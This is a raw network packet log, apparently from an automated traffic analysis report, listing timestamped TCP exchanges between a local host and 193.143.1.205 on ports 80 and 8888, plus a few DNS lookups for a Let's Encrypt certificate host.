Jan 10, 2025 21:55:42.520495892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520495892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520528078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520667076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520684958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520695925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520714998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520719051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520728111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520740986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520742893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520754099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520766020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520778894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520788908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520792961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520806074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520807028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520818949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520840883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520843029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520847082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520853996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520860910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520870924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520873070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520884037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520898104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520910025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520914078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520926952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520939112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520951986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520958900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520963907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520987034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521013021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521219015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521230936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521243095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521255016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521266937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521269083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521280050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521292925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521294117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521307945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521320105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521330118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521332026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521363020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521383047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521394968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521397114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521409988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521414995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521424055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521435976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521449089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.521451950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521481037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521518946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.521939039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.534734011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.558794022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.558818102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.558829069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.558841944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.558882952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.558896065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.558926105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.559012890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.559025049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.559036016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.559050083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.559062004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.559067965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.559076071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.559089899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.559103966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.559132099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567182064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567229986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567240953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567260981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567275047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567275047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567297935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567321062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567332029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567348003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567392111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567404985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567419052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567429066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567435026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567440987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567460060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567462921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567476988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567488909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567488909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567502022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567529917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567555904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567558050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567576885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567589998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567600965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567615032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567616940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567650080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.567675114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567687988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.567723036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608438969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608453989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608467102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608479023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608494043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608508110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608520985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608520031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608556032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608565092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608577967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608589888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608594894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608603001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608616114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608620882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608628035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608640909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608660936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608664989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608675957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608697891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608697891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608712912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608719110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608726025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608737946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608751059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608762026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608798027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608809948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608839035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608850956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608855009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608865023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608886003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608903885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608925104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608937025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.608942032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.608973026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609292030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609303951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609316111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609343052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609371901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609385014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609396935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609409094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609421968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609426022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609436989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609457970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609457970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609471083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609483004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609494925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609503984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609508038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609523058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609524012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609560966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609611988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609631062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609648943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609662056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609662056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609677076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609689951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609690905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609704971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609719038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609721899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609733105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609747887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609756947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609770060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609781981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609782934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609795094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609808922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609821081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609823942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609834909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609847069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609858036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609859943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609879017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609884977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609900951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609921932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609925985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609935999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609949112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609960079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.609970093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609985113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609997034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.609997034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.610003948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610018015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610030890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610038042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.610047102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610059023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610070944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610081911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.610086918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610100031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610102892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.610115051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610126972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.610129118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610141039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610153913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610163927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.610171080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.610197067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.610214949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.647849083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.647862911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.647876978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.647888899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.647916079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.647927046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.647934914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.647948980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.647958994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.647970915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.647995949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.648011923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.651622057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656049013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656064034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656085014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656095982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656109095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656120062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656124115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656133890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656152010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656187057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656214952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656228065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656255007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656259060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656279087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656296968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656301022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656312943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656323910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656337976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656338930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656349897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656363010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656366110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656388998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656400919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656411886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656414032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656426907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656428099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656456947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656464100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656476021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656486988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656497955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.656500101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.656527996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.659396887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.697190046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697216034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697228909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697240114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697252989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697266102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697282076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697293997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697307110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697320938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.697326899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697346926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697359085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697370052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697382927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697391987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.697396040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697403908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697417974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.697417974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.697447062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.697463989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.722557068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.730402946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.838603973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:43.206384897 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:43.211127043 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:43.211323023 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:43.211555958 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:43.217384100 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:44.064730883 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:44.108094931 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:46.162355900 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:55:51.631153107 CET	53151	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:56:04.571360111 CET	57459	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:56:22.493485928 CET	54399	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:55:51.631153107 CET	192.168.2.8	1.1.1.1	0x89d9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:56:04.571360111 CET	192.168.2.8	1.1.1.1	0x4b32	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:56:22.493485928 CET	192.168.2.8	1.1.1.1	0x5872	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:55:51.284897089 CET	1.1.1.1	192.168.2.8	0xf8fc	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:55:51.284897089 CET	1.1.1.1	192.168.2.8	0xf8fc	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:55:51.638523102 CET	1.1.1.1	192.168.2.8	0x89d9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:56:04.579071999 CET	1.1.1.1	192.168.2.8	0x4b32	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
